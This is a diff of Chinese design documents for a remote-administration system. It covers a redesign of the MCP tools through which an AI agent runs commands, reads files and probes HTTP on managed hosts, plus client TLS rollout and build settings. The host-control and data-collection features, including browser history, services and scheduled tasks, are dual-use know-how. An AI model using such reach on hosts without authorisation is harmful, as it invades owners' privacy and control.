||||
list_hosts(query?, online?=true, include_offline?=false, group?, os?, client_type?, limit?, offset?)
|
||||
```
|
||||
|
||||
旧名保留为别名(同一 handler,`tools/list` 只暴露 `list_hosts`),避免破坏现有调用方。
|
||||
|
||||
### P1-2 新增 `http_probe`
|
||||
|
||||
本次 **25/118 条命令(21%)** 是手写 `Invoke-WebRequest http://127.0.0.1:8003/...`,
|
||||
每条都要处理 `-UseBasicParsing`、`-TimeoutSec`、引号转义、JSON 解析。
|
||||
|
||||
```
|
||||
http_probe(id, url, method?="GET", headers?, body?, timeout_ms?=10000, max_bytes?=65536)
|
||||
```
|
||||
|
||||
**实现路径(v2 补充)**:没有客户端 HTTP 命令,这个工具只能**在 shell 里执行**:Windows 拼
|
||||
`Invoke-WebRequest`(PTY 会话),Linux/macOS 用 `curl`。也就是说它仍然依赖 exec/terminal 的
|
||||
通道、会占终端槽,并要分别维护两种平台的命令模板与输出解析(`-UseBasicParsing`、超时、
|
||||
编码、JSON/非 JSON 两种返回)。客户端仍然零改动,但工作量不是「新增一个 handler」,
|
||||
验收要覆盖两个平台。
|
||||
|
||||
**安全边界(必须硬编码,不可配置)**:
|
||||
- 只允许 `http` / `https`
|
||||
- **只接受 IP 字面量**(外加 `localhost` 特判)。校验在执行侧完成:请求是在**被管主机**上
|
||||
发出的,服务端解析域名得到的是服务端自己的 DNS 结果,对目标主机没有意义;接受任意域名
|
||||
等于校验形同虚设。允许 `127.0.0.0/8`、`::1`、`10/8`、`172.16/12`、`192.168/16`,其余拒绝
|
||||
- 不跟随跨网段重定向;响应体上限 64KB
|
||||
|
||||
说明:被管主机本来就能跑任意命令,所以这不是严格意义上的 SSRF 跳板;限制私网段的价值在于
|
||||
防止「用一条错误 URL 把主机当代理去打别处」,顺带避免误用。
|
||||
|
||||
**价值**:把「探本机业务健康」从「写一段 PowerShell」变成一次结构化调用,直接消掉 21% 的命令量。
|
||||
|
||||
### P1-3 `get_client_log` 的语义澄清
|
||||
|
||||
`get_client_log` 的描述(`McpServer.cpp:2265`)写的是「**YAMA 客户端的内存运行日志**
|
||||
(客户端 ring buffer)」。本次需要的是**被管业务程序的日志**
|
||||
(`C:\ProgramData\AssemblyManager\logs\assembly_manager.log`),两者完全不同。
|
||||
|
||||
建议不改名(改名破坏兼容),只做两件事:
|
||||
1. 在 `get_client_log` 描述开头加一句「这不是被管业务程序的日志;读业务日志用 `read_file`」
|
||||
2. 在 `read_file` 描述里点明「看日志尾部用 `offset=-N`」
|
||||
|
||||
### P2-1 合并 `host_list_*` 十个工具
|
||||
|
||||
十个 `host_list_*` 是「主机管理」各标签页的一一映射,本次零调用。
|
||||
|
||||
```
|
||||
host_inspect(id, aspects[]) // processes|windows|network|software|browser_history|
|
||||
// favorites|win32_services|driver_services|
|
||||
// scheduled_tasks|hosts_file
|
||||
```
|
||||
|
||||
旧名保留为别名。同时把与之重复的 `list_processes` / `list_windows` / `list_services` /
|
||||
`list_network_connections` 一并折叠进来。
|
||||
|
||||
### P2-2 六对语义重复的工具
|
||||
|
||||
| 快捷版 | 主机管理版 | 建议 |
|
||||
|---|---|---|
|
||||
| `list_processes` | `host_list_processes` | 并入 `host_inspect` |
|
||||
| `list_windows` | `host_list_windows` | 并入 `host_inspect` |
|
||||
| `list_services` | `host_list_win32_services` | 并入 `host_inspect` |
|
||||
| `list_network_connections` | `host_list_network_state` | 并入 `host_inspect` |
|
||||
| `operate_window` | `host_control_window` | 保留一套,另一套做别名 |
|
||||
| `control_service` | `host_control_service` | 保留一套,另一套做别名 |
|
||||
|
||||
对模型来说两套实现是纯噪音:同一个意图有两个工具名,选哪个要靠读两段长描述。
|
||||
|
||||
### P2-3 `tools/list` 体积
|
||||
|
||||
当前 **193,008 字节**(约 40k–60k tokens,实测口径见 §1.5 / 附录 B)。按上面合并估算:
|
||||
|
||||
| 改动 | 工具数变化 |
|
||||
|---|---:|
|
||||
| 三个主机列表 → `list_hosts` | −2 |
|
||||
| `host_list_*` 十个 → `host_inspect` | −9 |
|
||||
| 四个 `list_*` 折叠进 `host_inspect` | −4 |
|
||||
| 两对控制类工具各留一 | −2 |
|
||||
| **合计** | **63 → 46** |
|
||||
|
||||
**v2 更正**:v1 的「约降 27%」是按错误的 103KB 基线算的。按实测基线(193,008 B)看,
|
||||
outputSchema 占 49,320 B 且合并后要保留,被删掉的主要是 17 个工具的 description +
|
||||
inputSchema,乐观估计降 25–35KB(**约 −15%**)。实际值以改动后用附录 B 的方法重测为准。
|
||||
|
||||
**实测结果(2026-11-12,P2-1/2 落地后)**:开启全部开关时 `tools/list` 响应
|
||||
**168,634 B / 49 个工具**,较基线降 24,374 B(**−12.6%**),未达到 15%。原因是清单
|
||||
必须同时描述两种开关状态:`list_processes` / `list_windows` / `list_services` /
|
||||
`operate_window` / `control_service` 在 McpMachine=0 时是唯一可用路径,因此以
|
||||
`gate: "!machine"` 留在清单里(见 P2-4),所有状态下的实际列表都是 49 或 47 个,
|
||||
到不了估算里的 46。若还要再降,只有两条路:删掉降级路径(关掉主机管理就失去列进程/
|
||||
窗口/服务的能力)或压缩 description/outputSchema 正文——两者都不建议为凑 15% 去做。
|
||||
|
||||
### P2-4 别名/合并的同步项(v2 新增)
|
||||
|
||||
「旧名保留为别名、`tools/list` 只暴露新名」听起来只是一张别名表,但工具名在服务端还有
|
||||
五处硬编码的消费点,漏一处就是静默降级:
|
||||
|
||||
| 位置 | 漏掉的后果 |
|
||||
|---|---|
|
||||
| `kToolPlatforms`(`McpServer.cpp:10251`) | `CheckToolPlatform` 查不到名字就**放行**(`10420`),别名会绕过平台门禁 |
|
||||
| `IsBatchReadOnlyTool`(`McpInternal.cpp:594`) | 旧名走 `ids[]` 批量调用会被拒 |
|
||||
| `McpMachine::Handles` / `CollectTargetReqs` | `host_list_*` 族走独立分派,改名后分派不到 |
|
||||
| `kServerInstructions`(`McpServer.cpp:283` 起) | §4/§5 正文点名 `terminal_open`/`exec_command`/`host_list_processes`,模型会指向不存在的工具 |
|
||||
| 文档与清单 | `mcp/tools.json` 需重新生成(`make_tools_json.py`),`check_platform_table.py` / `verify_tools.py` 回归,网站 MCP 页(v1.4.2 那套 11 组)同步 |
|
||||
|
||||
建议把「改名/合并」单独作为一次提交,别名在分派层保留一个版本,下个版本再删。
|
||||
|
||||
---
|
||||
|
||||
## 4. 明确不做(数据不支持)
|
||||
|
||||
| 不做 | 理由 |
|
||||
|---|---|
|
||||
| 改 `download_file` / `upload_file` / `get_screenshot` | 本次 0 失败、调用顺畅,没有证据支持改动 |
|
||||
| 动 `remote_*` / `chat_*` | 本次零调用,无使用数据,改了也无从验证 |
|
||||
| 直接放行 `powershell` | 等于白名单失效,须单独安全评审(见 P0-4) |
|
||||
| 加 `secret_ref` 机制 | 属 Go 侧多租户需求;MFC 是单主控单用户,没有对应场景 |
|
||||
| 新客户端命令 `COMMAND_READ_FILE` | 第一阶段用 `download_file` 复用即可,不值得为省落盘改客户端 |
|
||||
| 砍掉写操作工具的权限门 | 本次只有 1 条写命令,但那是任务性质决定的,不是风险消失 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 对 Go 侧最小工具集的影响
|
||||
|
||||
本次讨论同时确认了 Go 侧的最小工具集,两者共享同一批结论:
|
||||
|
||||
1. **P0-1 / P0-2 / P0-3 同时是 Go 侧的前置结论**:Go 侧 `hub` 已有 PTY 终端子连接
|
||||
(`COMMAND_SHELL` → `TOKEN_TERMINAL_START`),但没有一次性执行的输出收集器,
|
||||
也没有文件读写。MFC 侧这三项的实现路径可以直接复用。
|
||||
2. **并发约束两边一致**:MFC 用 `-32003 Device busy` 保证每 host 单终端会话;
|
||||
Go 侧 `hub.go` 注释写明 *at most one web terminal per device (MVP constraint shared
|
||||
with the C++ server)*。Go 侧多用户场景下这个约束需要显式排队或租约,MFC 侧单用户则不必。
|
||||
3. **命名对齐**:MFC 若落地 `read_file` / `http_probe`,Go 侧沿用同名同参数,
|
||||
使同一句提示词在两个后端都能跑通。
|
||||
4. **Go 侧不需要 MFC 的接口**:主机分享是客户端双宿(`COMMAND_SHARE(59)` +
|
||||
`SHARE_TYPE_YAMA`,载荷 `ip:port[:shine[:transport]]`),Go 是与 MFC 同级的服务端,
|
||||
不是下游消费者。详见 `common/host_share.h`。
|
||||
|
||||
---
|
||||
|
||||
## 6. 施工顺序与验收
|
||||
|
||||
| 序 | 项 | 改动面 | 客户端 | 预估收益(按本次数据) |
|
||||
|---:|---|---|---|---|
|
||||
| 1 | P0-4 白名单补 `sc qc`/`sc enumdepend`/`sc sdshow` | `McpServer.cpp:3817` 一行 | 零 | 消除 `-32007` 误拒 |
|
||||
| 2 | P0-2 超时不销毁 + 轮询 | `WaitTermCommand` + 调用方 CancelIO + `delivered` 游标 + 输出上限 | 零 | 消除 2 次 `-32002`、9 组重试 |
|
||||
| 3 | P0-1 免会话执行 | `BuildTerminalExec` 参数校验 + 默认会话 + `terminal_open` 复用 | 零 | −18 次调用(9.7%) |
|
||||
| 4 | P0-3 `read_file` | 新增 handler,复用 V2 接收端 | 零 | 覆盖 44/118 条读命令 |
|
||||
| 5 | P1-2 `http_probe` | 新增 handler(内部走 shell,Windows/POSIX 两套模板) | 零 | 覆盖 25/118 条命令 |
|
||||
| 6 | P1-1 合并列表工具 | 别名 + 平台表 + `tools/list` 收敛 | 零 | −2 工具 |
|
||||
| 7 | P1-3 描述澄清 | 两处 description | 零 | 减少误选 |
|
||||
| 8 | P2-1/2/3/4 合并与收敛 | 别名表 + 清单生成 + instructions + 网站 | 零 | 63 → 46 工具 |
|
||||
|
||||
**顺序说明(v2)**:P0-2 排在 P0-1 之前——它会改动 `terminal_exec` 的会话形态(新增
|
||||
`delivered`/`busySince` 状态),P0-1 的默认会话直接复用同一套状态,反过来做要改两遍。
|
||||
|
||||
**全部八项都不需要改客户端。** 这是本方案最重要的性质——所有收益都来自服务端。
|
||||
|
||||
**整体验收标准**:用同一套 ASM 工位任务重跑一遍,目标:
|
||||
|
||||
- MCP 调用总数从 186 降到 **110 以内**
|
||||
- `terminal_open` / `terminal_close` 降到 **各 3 次以内**
|
||||
- `timeout_ms` 手工覆盖次数从 41 降到 **10 以内**
|
||||
- 零 `-32002`(会话被销毁);超时后能轮询续取
|
||||
- `tools/list` 响应体积**较实测基线 193,008 B 下降 ≥15%**(≈ ≤164KB)。不要沿用
|
||||
「80KB」:按本次合并范围做不到,见 P2-3。**实测 168,634 B(−12.6%)**,未达标,
|
||||
原因见 P2-3 的实测结果段
|
||||
|
||||
---
|
||||
|
||||
## 附录 A:本次数据可复现的统计口径
|
||||
|
||||
- 调用记录:会话 jsonl 中 `function_call` 且 `name=DeferExecuteTool`,取
|
||||
`arguments.toolName` 去掉 `mcp__YAMA__` 前缀
|
||||
- 错误识别:结果文本里匹配 `MCP error (-?\d+):`,避免把输出正文里的 "Error" 误判
|
||||
- 用途分类:对命令字符串做正则归类(服务状态/进程/注册表/读文件/HTTP/写/控制/列目录/跑脚本)
|
||||
- 重复命令:对完整命令字符串精确去重
|
||||
|
||||
> 注意:不能用「结果里含 timeout 字样」判超时——本次有 29 条命令的**命令正文**里带
|
||||
> `-TimeoutSec`,会被误判。只有匹配到 `MCP error` 前缀才算工具层失败。
|
||||
|
||||
## 附录 B:`tools/list` 体积测法(v2 新增)
|
||||
|
||||
一次只读请求即可,不会影响运行中的服务端:
|
||||
|
||||
```
|
||||
POST http://127.0.0.1:6545/mcp # 明文后端;TLS 前端是 6544
|
||||
Authorization: Bearer <token> # 取自 HKCU\SOFTWARE\YAMA\settings\McpToken,勿打印
|
||||
{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}
|
||||
```
|
||||
|
||||
2026-11-12 实测:响应 **193,008 字节**,tools 数组 136,692 字节,63 个工具;其中
|
||||
description 31,874 / inputSchema 44,192 / outputSchema 49,320。
|
||||
|
||||
建议给 `tools/mcp_tools/verify_tools.py --live` 增加一行体积打印(当前只比对
|
||||
name/description/schema 与顺序),让「清单体积」变成可回归的指标,而不是一次性手算。
|
||||
@@ -1,6 +1,6 @@
|
||||
# 传输层单向 TLS 加密设计(按需加密)
|
||||
|
||||
> 版本:v0.8 · 状态:**Go 服务端 + Windows/Linux/Android 客户端已实现并验证;Linux/Android 客户端支持下发即时热切换;MFC 主控端见 `TransportTLS_MFCServer_Design.md`;macOS 未接入** · 日期:2026-11-11(Android 客户端接入 + 热切换)
|
||||
> 版本:v0.9 · 状态:**Go 服务端 + Windows/Linux/Android 客户端已实现并验证;Linux/Android 客户端支持下发即时热切换;macOS 客户端已按同一模式实现(2026-11-14,待 Mac 实机构建验证);MFC 主控端见 `TransportTLS_MFCServer_Design.md`** · 日期:2026-11-14(macOS 客户端接入)
|
||||
> 目标:让 YAMA 设备端口(TCP 6543)在继续兼容老客户端(明文/XOR)的同时,允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
|
||||
> 本期范围:**Go 服务端(`server/go`)+ Windows 客户端 + Linux 客户端 + Android 客户端**。
|
||||
>
|
||||
@@ -23,8 +23,7 @@
|
||||
- 不做 **mTLS / 客户端证书**:单向 TLS 不验证客户端证书,客户端身份仍由隧道内的现有登录(`PwdHmac` V1 / `ECDSA` V2)承担。
|
||||
- 不做传输层 PSK(`YAMA_TRANSPORT_KEY`)方案——本设计改用证书,更贴合「颁发证书」的运维模型。
|
||||
- 不改应用层协议(flag 帧格式 / XOR / zstd),不做「TLS 内去掉 XOR」的二次精简(后续可选)。
|
||||
- Windows 客户端**不做**加密开关的运行时热切换(证书只在进程启动时读取一次,改配置需重启——这正是需求)。Linux / Android 客户端例外:服务端下发 166/167 后立即重载信任锚并重连切换(§6.6 / §6.7),语义差异见该两节。
|
||||
- macOS 客户端的 TLS 接入不在本期(Linux / Android 客户端已按同一模式接入,见 §6.6 / §6.7)。
|
||||
- Windows 客户端**不做**加密开关的运行时热切换(证书只在进程启动时读取一次,改配置需重启——这正是需求)。Linux / Android / macOS 客户端例外:服务端下发 166/167 后立即重载信任锚并重连切换(§6.6 / §6.7 / §6.8),语义差异见该三节。
|
||||
- 不做 **MFC 服务端(`server/2015Remote`)的 TLS 接入**——本期只做 Go 服务端(`server/go`),MFC 主控端延后到阶段 3。
|
||||
|
||||
## 2. 现状与复用
|
||||
@@ -194,6 +193,8 @@ Linux 无注册表,信任锚按:① `$XDG_CONFIG_HOME/ghost/yama-ca.pem`(
|
||||
|
||||
Android 同样无注册表,信任锚为 App 私有 `context.filesDir/yama-ca.pem`(目录由 `TlsSetAnchorDir()` 在 `nativeInit` 注入,见 §6.7),无程序目录回退;存在即视为已配置、fail-closed。与 Linux 共用 `client/TlsChannelLinux.cpp` 实现。
|
||||
|
||||
macOS 无注册表,信任锚为 `~/.config/ghost/yama-ca.pem`(与 `macos/main.mm` 的 `config.conf` 同目录;**不看 `XDG_CONFIG_HOME`**,保持与 macOS 客户端既有配置路径一致)→ ② 程序目录(`_NSGetExecutablePath`)`yama-ca.pem`。存在即视为已配置、fail-closed。与 Linux/Android 共用 `client/TlsChannelLinux.cpp` 实现(见 §6.8)。
|
||||
|
||||
### 6.2 TLS 栈选型(已定:Schannel)
|
||||
|
||||
- **已选 Schannel(Windows 原生 SSPI)**:零第三方依赖/零额外 DLL 部署,`secur32.lib`/`crypt32.lib` 均为系统库(`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接)。
|
||||
@@ -230,7 +231,7 @@ Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的
|
||||
### 6.6 Linux 客户端实现(OpenSSL,2026-10-28)
|
||||
|
||||
- **选型**:OpenSSL(`libssl`)。Linux 构建早已因 `libsign.a` 链接 `libcrypto`,只多链一个 `OpenSSL::SSL`,不引入新的运行时依赖包(同一 OpenSSL 3 包提供 `libcrypto.so.3` / `libssl.so.3`)。
|
||||
- **代码组织**:`client/TlsChannel.h` 按平台分派(`_WIN32` → Schannel,`__linux__` → OpenSSL,含 Android,见 §6.7),Windows 分支内容不变;实现文件为 `client/TlsChannelLinux.cpp`。`YAMA_TLS_CHANNEL` 宏标注「本平台有 TLS 通道」,`IOCPClient` 用它替代原先的 `#ifdef _WIN32`,因此主连接与子连接共用同一接线点。macOS 不定义该宏,维持明文。
|
||||
- **代码组织**:`client/TlsChannel.h` 按平台分派(`_WIN32` → Schannel,`__linux__`(含 Android,见 §6.7)与 `__APPLE__`(macOS,见 §6.8)→ OpenSSL),Windows 分支内容不变;实现文件为 `client/TlsChannelLinux.cpp`。`YAMA_TLS_CHANNEL` 宏标注「本平台有 TLS 通道」,`IOCPClient` 用它替代原先的 `#ifdef _WIN32`,因此主连接与子连接共用同一接线点。
|
||||
- **语义对齐**:`TLS 1.2` 钉扎(min=max,与 `SP_PROT_TLS1_2_CLIENT` 及两套服务端一致);单向 TLS、不提供客户端证书、不校主机名、不做吊销检查;`SSL_VERIFY_PEER` + 只含信任锚的 `X509_STORE`(不含系统根库,严格钉扎),握手内完成链校验,失败即断开(fail-closed)。
|
||||
- **缓冲差异**:OpenSSL 自己管理记录缓冲,不需要 Schannel 的 `m_raw`/`m_pending`;一次 `SSL_read` 交付不完的明文留在 `SSL` 内部,接收线程在 `select` 前用 `SSL_pending() || SSL_has_pending()` 优先消费,否则剩余字节会被 2 秒 `select` 超时卡住。
|
||||
- **下发/撤销**:`COMMAND_TLS_ENABLE`(166) 的 PEM 正文写入 `~/.config/ghost/yama-ca.pem`(目录 0700、文件 0600、临时文件 + rename 原子替换);`COMMAND_TLS_DISABLE`(167) 删除该文件(含程序目录同名回退文件)。写入前先用 OpenSSL 解析一遍,不是合法证书就整包拒绝并保留原状态。
|
||||
@@ -241,7 +242,7 @@ Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的
|
||||
- 热重载遇到坏锚时**保留原状态**并记日志,不把正在工作的客户端打死(下次启动仍按 fail-closed 语义)。
|
||||
- 重连由 `DataProcess`(接收线程)只置 `g_needReconnect` 标志,由主心跳线程 `Disconnect()` 后走外层重连循环——避免在接收线程里关 socket 与主线程发送竞争。
|
||||
- **代价**:此刻若正处于远程桌面/文件传输会话,主连接重建会中断该会话(子连接随之失效)。这是「立即生效」的固有代价。
|
||||
- **上报**:登录 `szReserved[19]`(`RES_TLS`)填 `TlsEnabled() ? 1 : 0`,主控端主机信息显示 Y/N。热切换后重连会重新登录,登录前用 `RefreshLoginTls()` 刷新该字段,主控端在线列表的 TLS 列随之翻转。
|
||||
- **上报**:登录 `szReserved[19]`(`RES_TLS`)填 `TlsEnabled() ? 1 : 0`,主控端主机信息显示 Y/N。热切换后重连会重新登录,登录前用 `RefreshLoginTls()` 刷新该字段,主控端在线列表的 TLS 列随之翻转。Android 同。
|
||||
|
||||
### 6.7 Android 客户端实现(OpenSSL,2026-11-11)
|
||||
|
||||
@@ -252,6 +253,22 @@ Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的
|
||||
- **OpenSSL 构建**:Android 的 `libsign.a` 用便携纯 C SHA256、不含 OpenSSL,故需新交叉编译 `libssl.a`/`libcrypto.a`。`android/build_openssl_android.sh`(已并入 `build_android_libs.ps1`,可 `-OpenSslOnly` 单跑)用 NDK clang + MSYS2 perl/make 按 ABI(arm64-v8a / armeabi-v7a / x86 / x86_64,API 21)构建 OpenSSL 3.5.0 静态库(`no-shared no-apps no-legacy` 等裁剪);产物落 `app/src/main/cpp/lib/<ABI>/`,`opensslconf.h` 各架构不同故头文件也按 ABI 存放。CMake 链接 `libssl.a`+`libcrypto.a`,并用 `-Wl,--exclude-libs,ALL` 不让静态库符号泄出 `libyama.so`(与 Java 层 Conscrypt 隔离;JNI 入口来自目标文件,不受影响)。
|
||||
- **Windows 构建坑(已解决)**:Git for Windows 的精简 perl 缺 Configure 所需模块,且其 bash/env 会抢占 PATH——跨 MSYS 运行时传子进程丢环境变量(Configure 拿不到 `ANDROID_NDK_ROOT`),脚本改用 `#!/bin/bash` 并把 MSYS2 `/usr/bin` 置顶;NDK 自带原生 make 不认 Makefile 里的 `/c/...` 路径,须用 MSYS2 make(`pacman -S make`)。
|
||||
|
||||
### 6.8 macOS 客户端实现(OpenSSL,2026-11-14)
|
||||
|
||||
- **选型 / 代码组织**:复用 Linux/Android 的 OpenSSL 实现。`client/TlsChannel.h` 的平台分支由 `__linux__` 放宽为 `__linux__ || __APPLE__`,`TlsChannelLinux.cpp` 的编译守卫同步放宽(该文件本就是 OpenSSL + POSIX,无 Linux 专有调用);`YAMA_TLS_CHANNEL` 随之在 macOS 生效,主连接/子连接共用与 Linux 相同的接线点(`IOCPClient`)。**服务端零改动**。
|
||||
- **平台差异点(都在 `TlsChannelLinux.cpp` 内条件编译)**:
|
||||
- **配置目录**:`ConfigDir()` 在 Apple 上**不读 `XDG_CONFIG_HOME`**,HOME 兜底顺序与 `macos/main.mm` 的 `initConfigPaths` 逐字对齐(`HOME` → `getpwuid()->pw_dir` → `/tmp`),最终都是 `<home>/.config/ghost`——否则信任锚和 `config.conf` 会落在两个目录(launchd daemon 不导出 `HOME` 时尤其明显:锚落到程序目录,重装 app bundle 时跟着被删,客户端静默退回明文而服务端仍以为它是 TLS)。
|
||||
- **程序目录回退**:`ExeDir()` 用 `_NSGetExecutablePath`(`<mach-o/dyld.h>`)截取目录;Linux 继续用 `/proc/self/exe`,Android 仍返回空。
|
||||
- **`SIGPIPE`**:`macos/main.mm` 启动时已 `signal(SIGPIPE, SIG_IGN)`(WSS 引入时加的),TLS 写入对端已关时不会直接杀掉进程。
|
||||
- **热切换接线(`macos/main.mm`)**:与 Linux 同一套语义。`DataProcess` 收到 `COMMAND_TLS_ENABLE`(166) → `TlsTrustAnchorSave()`;`COMMAND_TLS_DISABLE`(167) → `TlsTrustAnchorRemove()`;两者随后都走 `ApplyTlsAnchorChange()`:`TlsReload()` 重建 `SSL_CTX`,只在传输方式真的变化(明文↔TLS)时置 `g_needReconnect`(接收线程只置标志),主心跳循环每秒检查、`Disconnect()` 后由外层重连循环用新传输方式重连。仅换锚不打断现有会话。
|
||||
- **上报**:登录 `szReserved[19]`(`RES_TLS`)填 `TlsEnabled() ? 1 : 0`;重连登录前用 `RefreshLoginTls()` 刷新(`logInfo` 启动时填一次、之后复用)。顺带修掉一个既有缺陷:分组变更重发登录时 `fillLoginInfo()` 会被再次调用,而 `AddReserved()` 是追加语义,原先会把整套保留字段再拼一遍,导致服务端按 `LOGIN_RES` 下标读到错位/重复字段——现在 `fillLoginInfo()` 入口先清空 `szReserved`。
|
||||
- **构建(`macos/CMakeLists.txt` / `build.sh`)**:
|
||||
- 源码列表加入 `client/TlsChannelLinux.cpp`;链接 `OpenSSL::SSL`、`OpenSSL::Crypto`。
|
||||
- Homebrew 的 `openssl@3` 不在 CMake 默认搜索路径,`CMakeLists.txt` 自动探测 `/opt/homebrew/opt/openssl@3`(及其它常见前缀),找不到直接 `FATAL_ERROR` 并提示 `brew install openssl@3`,也可 `-DOPENSSL_ROOT_DIR=...` 指定。
|
||||
- 有静态库(`libssl.a`/`libcrypto.a`)时优先静态链接(`OPENSSL_USE_STATIC_LIBS`),避免发布包还得让目标 Mac 装 Homebrew OpenSSL;只有动态库时给 `WARNING`,需自行把 dylib 放进 `Contents/Frameworks`。
|
||||
- 目标为 **arm64 单架构**(Homebrew OpenSSL 只有本机架构,保留 x86_64 slice 会链接失败)、部署目标 macOS 11.0。`build.sh` 通过命令行显式传 `-DCMAKE_OSX_ARCHITECTURES=arm64 -DCMAKE_OSX_DEPLOYMENT_TARGET=11.0`——这两个是 CMake **cache 变量**,在已存在的 `build/` 目录里改了 `CMakeLists.txt` 也不会生效,必须命令行覆盖或删目录重建。
|
||||
- **注意**:macOS 客户端在线升级仍不支持(服务端 `OnOnlineUpdate` 无 MAC 分支),升级 TLS 相关代码需重新 `macos/build.sh` 并按 `macos/install.sh` 部署(会重置 TCC 授权)。
|
||||
|
||||
## 7. 兼容矩阵
|
||||
|
||||
| 客户端 | 服务端行为 | 结果 |
|
||||
@@ -337,6 +354,7 @@ Android 客户端:信任锚写入 App 私有 `filesDir/yama-ca.pem`(经 166/
|
||||
- **阶段 2(Windows 客户端)**:证书检测 + TLS 栈 + fail-closed。
|
||||
- **阶段 2b(Linux 客户端)**:OpenSSL 实现,复用同一接线点与协议语义(2026-10-28 完成)。
|
||||
- **阶段 2c(Android 客户端)**:复用 Linux OpenSSL 实现,NDK 按 ABI 交叉编译 OpenSSL,热切换(2026-11-11 完成)。
|
||||
- **阶段 2d(macOS 客户端)**:复用 Linux OpenSSL 实现(`__APPLE__` 分支 + `_NSGetExecutablePath`),Homebrew OpenSSL 静态链接,热切换(2026-11-14 完成代码,待 Mac 实机验证)。
|
||||
- **阶段 3(MFC 服务端 `server/2015Remote`,延后)**:与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
|
||||
- **回滚**:服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文;客户端删除注册表 `tls_cert` 值(或 `yama-ca.pem` 文件)即回明文。
|
||||
|
||||
@@ -345,4 +363,4 @@ Android 客户端:信任锚写入 App 私有 `filesDir/yama-ca.pem`(经 166/
|
||||
1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**(见 §6.2,2026-10-13 落地)。
|
||||
2. ~~信任锚文件固定名(`yama-ca.pem`)是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**(见 §6.1/§9.3,2026-10-14)。
|
||||
3. 是否同步把「TLS 内去掉 XOR」列为后续精简项(当前保留 XOR,换取零协议改动)。
|
||||
4. ~~Linux / macOS / Android 客户端的 TLS 接入排期~~ → **Linux(2026-10-28)、Android(2026-11-11)已接入**(均 OpenSSL、支持热切换);macOS 待定(需 Security.framework 或自带 OpenSSL)。
|
||||
4. ~~Linux / macOS / Android 客户端的 TLS 接入排期~~ → **Linux(2026-10-28)、Android(2026-11-11)、macOS(2026-11-14)已接入**(均 OpenSSL、支持热切换)。
|
||||
@@ -112,7 +112,7 @@ Host 头同理:用**配置里的地址(域名)**,而不是解析后的 I
|
||||
| 有锚但加载失败(损坏/为空) | 拒绝连接(fail-closed)——管理员已「颁发」证书,不能静默回退明文 |
|
||||
| 无锚 + `PROTO_WS` | 明文(本来如此) |
|
||||
| 有锚 + `PROTO_WS` | **仍是明文**(显式选择的形态,见下) |
|
||||
| 平台无 TLS(macOS 未定义 `YAMA_TLS_CHANNEL`)+ `PROTO_WSS` | 直接断开并打日志:没有热切换路径,回退只会让人误以为在加密 |
|
||||
| 平台无 TLS(未定义 `YAMA_TLS_CHANNEL`)+ `PROTO_WSS` | 直接断开并打日志:没有热切换路径,回退只会让人误以为在加密 |
|
||||
| WS 握手失败 | 断开,`Mprintf` 里带上服务端返回的状态行 |
|
||||
|
||||
回退的判据是「本机**根本没有**信任锚」这一可观测状态,而不是握手中途失败——TLS 握手
|
||||
@@ -415,7 +415,7 @@ server {
|
||||
升级线程里才有。若这是硬性合规要求,需单独评估(本特性未改变这一点,只是让它的漏检更
|
||||
容易发生)。
|
||||
- 裸 `PROTO_WS` 是明文,只适合内网或回环(nginx 已在同一台机器上终止 TLS 的情形用 WSS 即可)。
|
||||
- macOS 客户端没有 TLS 实现,只能选 `PROTO_WS`(明文),走不了 443(Linux / Android 已有 TLS,见 `TransportTLS_Design.md` §6.6 / §6.7)。
|
||||
- macOS 客户端自 2026-11-14 起也有 TLS(与 Linux/Android 同一 OpenSSL 实现,见 `TransportTLS_Design.md` §6.8),WSS 与 Linux 行为一致;更早的 macOS 构建仍只能选 `PROTO_WS`(明文),走不了 443。
|
||||
- 经反代接入时地址只应填**一个域名**(多地址取第一个做 Host/SNI)。
|
||||
- 不改应用协议、不改 MCP、不改 Web 控制台。
|
||||
|
||||
|
||||
@@ -35,9 +35,15 @@ set(SOURCES
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
|
||||
# 设置为可以调试
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||
# 默认使用 Release:无调试信息、-O3,链接时剥离符号表(ghost 约 2.5MB);
|
||||
# 需要 gdb 调试时用:cmake -DCMAKE_BUILD_TYPE=Debug . && make
|
||||
if(NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
# 注意:这里不要再往 CMAKE_CXX_FLAGS 里塞 -g,否则 Release 也会带上 DWARF
|
||||
# (ghost 会涨到 10MB 以上,其中 75% 是 .debug_* 段)。
|
||||
target_link_options(ghost PRIVATE $<$<CONFIG:Release>:-s>)
|
||||
|
||||
# 链接 ZSTD 库
|
||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
|
||||
+18
-8
@@ -30,7 +30,7 @@ SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件
|
||||
| 屏幕预览(缩略图) | `ScreenPreview.cpp` | `client/ScreenPreview.cpp` | ✅ 完整(X11 抓屏 → 缩放 → 原始 BGRA 上报,由服务端统一编码 JPEG;双击预览、列表缩略图、MCP `get_screenshot` 均可用。无 `DISPLAY` 时不声明能力位,服务端不会发请求) |
|
||||
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux(含 MCP `upload_file`/`download_file`:发送完成包带流式 SHA-256,路径不存在/无权限回 `TOKEN_DOWNLOAD_ERROR`) |
|
||||
| C2C 文件接收 | `FileTransferV2.h` | `file_upload.h` | ✅ Windows/MCP → Linux(目标目录由服务端 `dst_dir` 指定,落盘后回执) |
|
||||
